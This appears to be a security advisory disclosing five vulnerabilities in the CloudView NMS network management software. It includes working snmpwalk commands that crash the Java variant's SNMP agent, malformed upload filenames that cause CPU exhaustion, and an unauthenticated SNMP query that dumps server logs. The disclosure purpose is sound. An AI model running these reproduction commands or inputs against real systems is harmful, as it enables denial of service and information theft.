Recently, Rapid7 disclosed vulnerabilities in several network management systems including version 2.09 of CloudView NMS, as a follow-up to a disclosure late last year. CloudView NMS is a network management and monitoring solution that comes in two variants: a Windows version (written in C) and a Linux version written in Java (called CloudViewJ).
#1 CloudViewJ SNMP system.sysDescr get-next-request Handling Remote DoS
An unauthenticated attacker can send an SNMP “get-next-request
” for system.sysDescr
(1.3.6.1.2.1.1.1) which results in an ArrayIndexOutOfBounds
exception. The stack trace looks likes this (yes, that's obfuscated their Java):
Exception in thread "AWT-EventQueue-0" java.lang.ArrayIndexOutOfBoundsException
at java.lang.System.arraycopy(Native Method)
at dp.a(Unknown Source)
at m.a(Unknown Source)
at m.a(Unknown Source)
at h1.a(Unknown Source)
at m5.a(Unknown Source)
at hl.a(Unknown Source)
at eq.run(Unknown Source)
at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:311)
at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:756)
at java.awt.EventQueue.access$500(EventQueue.java:97)
at java.awt.EventQueue$3.run(EventQueue.java:709)
at java.awt.EventQueue$3.run(EventQueue.java:703)
at java.security.AccessController.doPrivileged(Native Method)
at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:76)
at java.awt.EventQueue.dispatchEvent(EventQueue.java:726)
at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:201)
at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:116)
at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:105)
at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101)
at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:93)
at java.awt.EventDispatchThread.run(EventDispatchThread.java:82)
This exception causes CloudViewJ to never respond to SNMP requests again. This is easily reproducible using the “snmpwalk
” utility:
lobster:~ albino$ snmpwalk -c public -v 1 192.168.1.208 1.3.6.1.2.1.1.1
SNMPv2-MIB::sysDescr.0 = STRING: CloudViewNMSJ SNMP Agent 2.14b Sep 05, 2016
Timeout: No Response from 192.168.1.208
lobster:~ albino$
Note that the Windows version has a similar response to “snmpwalk
” but it doesn’t result in a DoS. Instead, the Windows version adds this to the log file:
Tue Sep 13 11:10:47: Not Apply: Server: WARNING:SNMPAgent:snmp_build (EncodeMsg) error!
identity=107
Note, that this will also break logging in the web server.
#2 CloudViewJ enterprises.5000.300.4.2 get-next-request Handling Remote DoS
An unauthenticated attacker can send an SNMP “get-next-request
” for enterprises.5000.300.4.2 (1.3.6.1.4.1.5000.300.4.2) which results in a ClassCastException
in CloudViewJ (Windows variant is not affected):
Exception in thread "AWT-EventQueue-0" java.lang.ClassCastException: gu cannot be cast to w
at dp.if(Unknown Source)
at m.a(Unknown Source)
at h1.a(Unknown Source)
at m5.a(Unknown Source)
at hl.a(Unknown Source)
at eq.run(Unknown Source)
at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:311)
at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:756)
at java.awt.EventQueue.access$500(EventQueue.java:97)
at java.awt.EventQueue$3.run(EventQueue.java:709)
at java.awt.EventQueue$3.run(EventQueue.java:703)
at java.security.AccessController.doPrivileged(Native Method)
at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:76)
at java.awt.EventQueue.dispatchEvent(EventQueue.java:726)
at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:201)
at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:116)
at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:105)
at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101)
at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:93)
at java.awt.EventDispatchThread.run(EventDispatchThread.java:82)
Again, this exception causes CloudViewJ to never respond to SNMP requests until the software is restarted. This can be reproduced using this “snmpwalk
” command:
lobster:~ albino$ snmpwalk -c public -v 1 192.168.1.208 1.3.6.1.4.1.5000.300.4.2
#3 File View Functionality MPR Resource Remote File Disclosure
CloudView NMS has an embedded web server that offers a “Files View” that even the most low privileged user can view. This is supposed to be restricted to “cloudviewj/data/
” but a remote authenticated attacker can trivially access any file on the server by crafting the appropriate URL.
Because CloudViewJ runs with root privileges, an attacker can read any file including /etc/shadow
.
#4 File View Functionality Malformed File Upload Remote DoS
If an authenticated user uploads a file via “File View” that uses URL encoded characters that could be interpreted as file paths, it will result in the server spiking to 100% CPU usage leading to a denial of service. For example, uploading a file named “%3A%3Awat.txt
” (aka ..wat.txt
) or “%2Fetc%2Fpasswd
” (aka /etc/passwd
) will trigger this case. Note that this DoS case will be re-triggered after the server is restarted if any user accesses the “File View” again.
#5 SNMP Service Server Log Remote Information Disclosure
An unauthenticated remote attacker can access the entire server log via the SNMP service. While this may be intended functionality, this can disclose a variety of information many administrators consider sensitive, and should require authentication. The information that can be found includes usernames (below we see the users “Admin” and “test”), running services and their ports, when users login, uptime, and more. Here is an example of retrieving the entire log file via snmpwalk
:
lobster:~ albino$ snmpwalk -c public -v 1 192.168.1.208 1.3.6.1.4.1.5000.300.4.2
SNMPv2-SMI::enterprises.5000.300.4.2.0 = ""
Timeout: No Response from 192.168.1.208
TNS4353L:~ jbaines$ snmpwalk -c public -v 1 192.168.1.208 1.3.6.1.4.1.5000.300.2.1.1.2
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.1 = STRING: "Tue Sep 13 08:49:04: Not Apply: Server: INFO:Traps initialized, listening on port=162 identity=122"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.2 = STRING: "Tue Sep 13 08:48:45: Not Apply: Server: INFO:BSD sysLog Protocol Server started on UDP port 514 identity=121"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.3 = STRING: "Tue Sep 13 08:48:45: Not Apply: Server: INFO:TL1/Telnet Server started on TCP Port 3082 identity=120"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.4 = STRING: "Tue Sep 13 08:48:45: Not Apply: Server: INFO:Time Protocol /RFC 868/ server started on TCP port 37 identity=119"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.5 = STRING: "Tue Sep 13 08:48:45: Not Apply: Server: INFO:SNMP agent server started on UDP port 161 identity=118"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.6 = STRING: "Tue Sep 13 08:48:45: Not Apply: Server: INFO:HTTP Web Server Started on TCP port 80 identity=117"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.7 = STRING: "Tue Sep 13 08:48:45: Not Apply: Server: INFO:*** CloudViewNMS started *** identity=116"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.8 = STRING: "Tue Sep 13 08:48:45: Not Apply: Server: WARNING:Cannot install/create Server database!!!"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.10 = STRING: "Tue Sep 13 08:37:40: Not Apply: Server: WARNING:Cannot connect to the Server database!!!"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.11 = STRING: "Tue Sep 13 08:31:16: Not Apply: Server: INFO:*** Web Client session closed on 192.168.1.152 by test *** because of inactivity timeout identity=114"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.12 = STRING: "Tue Sep 13 08:23:27: Not Apply: Server: INFO:*** Web Client session opened on 192.168.1.152 by test *** identity=113"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.13 = STRING: "Tue Sep 13 08:23:21: Not Apply: Server: WARNING:Bad! No websocket ctrlWin for /MPR=3562:/calldescriptor%21extparvalue%21-%21-%21@extdir%5Cdiscnew%21DLG_DISCNEW/:PRT=3563: identity=112"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.19 = STRING: "Tue Sep 13 08:22:36: Not Apply: Server: INFO:Traps initialized, listening on port=162 identity=106"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.36 = STRING: "Mon Sep 12 13:04:07: test: Server: WARNING:Message from test: identity=96"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.38 = STRING: "Mon Sep 12 13:03:08: Not Apply: Server: WARNING:Invalid Remote login: User=test from 192.168.1.152 Failed Logins=1 identity=94"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.40 = STRING: "Mon Sep 12 13:02:30: Not Apply: Server: INFO:User /test/ added identity=92"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.42 = STRING: "Mon Sep 12 12:46:54: Not Apply: Server: INFO:Traps initialized, listening on port=162 identity=90"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.51 = STRING: "Mon Sep 12 11:13:34: Not Apply: Server: INFO:*** CloudViewNMS ends ***"
SNMPv2-SMI::enterprises.5000.300.2.1.1.2.52 = STRING: "Mon Sep 12 11:10:27: Not Apply: Server: INFO:Current Alarms Log Cleared by /Admin/ identity=82"